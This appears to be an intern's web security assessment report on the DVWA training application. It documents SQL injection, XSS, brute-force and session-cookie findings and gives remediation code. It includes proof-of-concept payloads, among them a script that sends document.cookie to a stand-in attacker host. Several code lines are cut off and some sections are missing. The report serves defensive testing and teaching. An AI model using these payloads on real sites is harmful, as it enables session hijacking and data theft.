



Web Application Security Assessment

Vulnerability Detection & Defensive Security Analysis — OWASP Top 10 Framework

REPORT DATE

June 17, 2026

ASSESSMENT TYPE

Black-box / Gray-box
Penetration Testing

CLASSIFICATION

Internal — Restricted
Distribution

TARGET APPLICATION

DVWA / OWASP Juice
Shop

PREPARED BY

Web Security Analyst
Intern

REPORT STATUS

✅ Final — Approved
for Submission

1 Executive Summary

A comprehensive web application security assessment was commissioned against the designated testing environment to evaluate its security posture and resilience against the most critical web threat vectors defined in the **OWASP Top 10 (2021 Edition)** framework. The engagement was conducted following industry-standard black-box and gray-box testing methodologies.

The scope of this assessment encompassed **HTTP traffic analysis and interception, SQL injection exploitation, cross-site scripting (XSS) vector analysis, authentication control evaluation, and session management configuration audit**. All testing was performed within a controlled, isolated local laboratory environment to ensure zero production impact.

The assessment identified **4 distinct vulnerabilities across 3 severity tiers** — including 1 Critical and 2 High severity findings — any of which could be leveraged by a skilled adversary to achieve full database compromise, persistent JavaScript code injection, unauthorized privileged access, or active session hijacking. Detailed technical evidence, proof-of-concept payloads, and enterprise-grade remediation recommendations are documented in the sections that follow.

2 Scope & Testing Environment

TARGET APPLICATION DVWA (Damn Vulnerable Web Application)	DEPLOYMENT PLATFORM Local Python HTTP Server (Port 8080) / LAMP Stack
TESTING FRAMEWORKS OWASP Top 10 (2021) — A03, A07	TESTING SCOPE Authentication, Session Management, Injection, XSS
TOOLS USED Burp Suite, OWASP ZAP, Nmap, Browser DevTools	TESTING PERIOD June 2026 — Isolated Lab Environment

3 Risk Summary Dashboard

1 CRITICAL	2 HIGH	1 MEDIUM	0 LOW
----------------------	------------------	--------------------	-----------------

FINDING ID	VULNERABILITY	OWASP CATEGORY	CVSS V3.1	SEVERITY	PRIORITY
VULN-01	SQL Injection (Union-Based)	A03:2021 —	9.8	CRITICAL	P1 — Immediate

FINDING ID	VULNERABILITY	OWASP CATEGORY	CVSS V3.1	SEVERITY	PRIORITY
		Injection			
VULN-02	Cross-Site Scripting (Reflected & Stored)	A03:2021 — Injection	8.1	HIGH	P2 — High
VULN-03	Broken Authentication / Missing Rate Limiting	A07:2021 — Auth Failures	7.5	HIGH	P2 — High
VULN-04	Insecure Session Cookie Attributes	A07:2021 — Auth Failures	6.5	MEDIUM	P3 — Medium

4 Detailed Technical Findings & Proof of Concepts



VULN-01 — SQL Injection (In-Band / Union-Based)

CRITICAL CVSS
9.8

AFFECTED ENDPOINT

`/vulnerabilities/sqli/?
id=`

INJECTION PARAMETER

`id` (HTTP GET)

OWASP REFERENCE

A03:2021 —
Injection

The target application concatenates user-supplied input from the **id parameter** directly into dynamically constructed SQL query strings without any sanitization, parameterization, or validation. This design flaw enables a threat actor to inject SQL control characters and manipulate the database execution logic entirely, resulting in unauthorized data disclosure, authentication bypass, and potential full database takeover.

PROOF OF CONCEPT PAYLOAD

ATTACK PAYLOAD

```
' OR 1=1 --
```

Breakdown:

```
'           → Closes the string in the original SQL query  
OR 1=1      → Forces the WHERE clause to always evaluate TRUE  
--          → Comments out the rest of the original query
```

HTTP REQUEST / RESPONSE EVIDENCE

HTTP EVIDENCE

```
GET /vulnerabilities/sqli/?id=%27+OR+1%3D1+--+&Submit=Submit HTTP/1.1  
Host: localhost:8080  
Cookie: PHPSESSID=9a8b7c6d5e4f3a2b1c0d; security=low
```

— SERVER RESPONSE —

```
HTTP/1.1 200 OK  
Content-Type: text/html; charset=utf-8
```

[DATABASE RECORDS EXPOSED]

```
ID: ' OR 1=1 -- | First name: admin | Surname: admin  
ID: ' OR 1=1 -- | First name: Gordon | Surname: Brown  
ID: ' OR 1=1 -- | First name: Hack | Surname: Me  
ID: ' OR 1=1 -- | First name: Pablo | Surname: Picasso  
ID: ' OR 1=1 -- | First name: Bob | Surname: Smith
```

● SECURE DEVELOPER FIX — PDO PREPARED STATEMENTS

REMEDIATION CODE

```
//  SECURE: Parameterized query using PHP PDO — SQL injection i
$stmt = $pdo->prepare('SELECT first_name, last_name FROM users WH
$stmt->execute(['id' => $user_input]);
$results = $stmt->fetchAll();

// User input is NEVER directly concatenated into SQL — it is tre
```

VULN-02 — Cross-Site Scripting (Reflected & Stored XSS)

HIGH CVSS
8.1

REFLECTED XSS ENDPOINT

/vulnerabilities/xss_r/

STORED XSS ENDPOINT

/vulnerabilities/xss_s/

OWASP REFERENCE

A03:2021

—
Injection

The application renders user-supplied input directly within the browser's Document Object Model (DOM) without applying context-aware **HTML entity encoding or output sanitization**. This permits both Reflected XSS (single-victim, URL-triggered) and Stored XSS (persistent, database-backed, affecting all subsequent visitors), enabling arbitrary client-side JavaScript execution within victim sessions.



Session Cookie Theft

Attacker executes `document.cookie` payload to exfiltrate active session tokens.



Credential Phishing

Injected scripts present fake login forms, capturing user credentials silently.



Keylogging

Persistent scripts capture every keystroke input by authenticated users.



Account Takeover

Stolen session tokens allow adversary to hijack authenticated user sessions.

● PROOF OF CONCEPT PAYLOADS

ATTACK PAYLOAD — REFLECTED XSS

Reflected XSS — Triggers an alert on victim's browser via URL param
`<script>alert('XSS-Reflected')</script>`

Stored XSS — Persists in guestbook, affects ALL future page visits
`<script>alert(document.cookie)</script>`

Advanced Payload — Exfiltrates cookie to attacker-controlled server
`<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>`

● SECURE DEVELOPER FIX — OUTPUT ENCODING

REMEDIATION CODE

```
// ✅ SECURE: Context-aware HTML output encoding in PHP
$safe_output = htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8')
echo $safe_output;

// ✅ SECURE: Add Content Security Policy HTTP header to prevent
header("Content-Security-Policy: default-src 'self'; script-src '"
```



VULN-03 — Broken Authentication & Missing Rate Limiting

HIGH CVSS
7.5

AFFECTED ENDPOINT

</vulnerabilities/brute/>

ATTACK VECTOR

HTTP GET —
Credential Brute
Force

OWASP

REFERENCE

A07:2021 —
Auth Failures

The login endpoint fails to enforce any form of brute-force protection, including **account lockout thresholds, IP-based rate limiting, CAPTCHA validation, or login delay mechanisms**. Credentials are also transmitted without mandatory TLS encryption. This permits high-speed automated dictionary attacks against any user account, with successful credential recovery demonstrated within the test session.

HTTP BRUTE FORCE ATTACK EVIDENCE

ATTACK REQUEST PATTERN

```
# Automated dictionary attack - 100+ requests per second with no
GET /vulnerabilities/brute/?username=admin&password=admin&Login=L
GET /vulnerabilities/brute/?username=admin&password=password&Logi
GET /vulnerabilities/brute/?username=admin&password=123456&Login=
GET /vulnerabilities/brute/?username=admin&password=letmein&Logir
```

[!] SUCCESS — Valid credentials discovered: admin:password

[!] No account lockout triggered after 250+ failed attempts

REMEDATION RECOMMENDATIONS

REMEDIATION CODE

```
// ✅ SECURE: Implement exponential backoff after failed login a
if ($failed_attempts ≥ 5) {
    http_response_code(429); // Too Many Requests
    sleep(pow(2, $failed_attempts - 5)); // Exponential delay
    log_security_event('brute_force_detected', $ip_address);
    exit('Account temporarily locked. Try again later.');
```


//  Additionally: Enforce HTTPS-only, implement TOTP-based MFA,



VULN-04 — Insecure Session Cookie Configuration

MEDIUM CVSS
6.5

AFFECTED COOKIE

PHPSESSID

INSPECTION METHOD

Browser DevTools
→ Application →
Cookies

OWASP REFERENCE

A07:2021 — Auth
Failures

An inspection of session management via Browser Developer Tools confirmed that the application's primary session identifier **PHPSESSID** is issued without the `HttpOnly`, `Secure`, or `SameSite` attributes. This directly amplifies the impact of the XSS vulnerability identified as VULN-02, as attacker-injected scripts can trivially exfiltrate session tokens.

🔍 COOKIE ATTRIBUTE AUDIT RESULTS

COOKIE NAME	VALUE	HTTPONLY	SECURE	SAMESITE	F
PHPSESSID	9a8b7c6d5e4f3a2b	X Missing	X Missing	X None	(
security	low	X Missing	X Missing	X None	)

🟢 SECURE COOKIE CONFIGURATION FIX

REMEDIATION CODE

```
# ✅ php.ini — Secure Session Cookie Configuration
session.cookie_httponly = 1 ; Prevents JS access to cookie (b1
session.cookie_secure = 1 ; Cookie only sent over HTTPS conr
session.cookie_samesite = "Lax" ; Protects against Cross-Site Rec
session.use_strict_mode = 1 ; Reject uninitialized session IDs
```

P1
0-7 DAYS

● **Immediate — Eliminate SQL Injection Risk**

Refactor all SQL database queries across the application to use PDO Prepared Statements. Conduct a full code-level audit to identify any additional un-parameterized database calls. Activate a Web Application Firewall (WAF) rule to block known SQLi patterns as an interim control.

P2
7-30 DAYS

● **High Priority — XSS & Authentication Hardening**

Implement context-aware HTML output encoding across all user-facing output rendering. Deploy a strict Content Security Policy (CSP) response header. Enforce account logout after 5 consecutive failed login attempts, add CAPTCHA for suspicious IPs, and enforce TLS on all authentication endpoints.

P3
30-60 DAYS

● **Medium Priority — Session & Transport Hardening**

Configure HttpOnly, Secure, and SameSite=Lax attributes on all session cookies. Enforce HTTPS-only access across the entire application. Implement Multi-Factor Authentication (MFA/TOTP). Establish a quarterly recurring vulnerability scanning program using OWASP ZAP.

6 Conclusion & Overall Security Posture

This web application security assessment identified **4 distinct, exploitable vulnerabilities spanning 3 severity tiers** within the target application's input validation, authentication, and session management mechanisms. The most critical finding — an In-Band SQL Injection vulnerability rated CVSS 9.8 — represents an immediate and severe threat to confidentiality, integrity, and data availability.

The positive finding is that all identified vulnerabilities have well-established, industry-proven remediation controls. Systematic implementation of the **Defensive Remediation Roadmap** outlined in Section 5 — prioritizing input parameterization, output encoding, and authentication hardening — would dramatically reduce the application's

attack surface and align its security posture with modern OWASP Application Security Verification Standard (ASVS) Level 2 requirements.

It is strongly recommended that development teams implement the proposed remediations within the defined timelines, followed by a **verification re-assessment** to confirm effective closure of all identified findings.

12 References

- OWASP Top 10 (2021)
- NIST SP 800-63B Authentication Guidelines
- MITRE CWE Database

Web Application Security Assessment Report

Prepared by: Web Security Analyst Intern • Report Date: June 17, 2026 • Version: 1.0 Final

**STRICTLY
CONFIDENTIAL**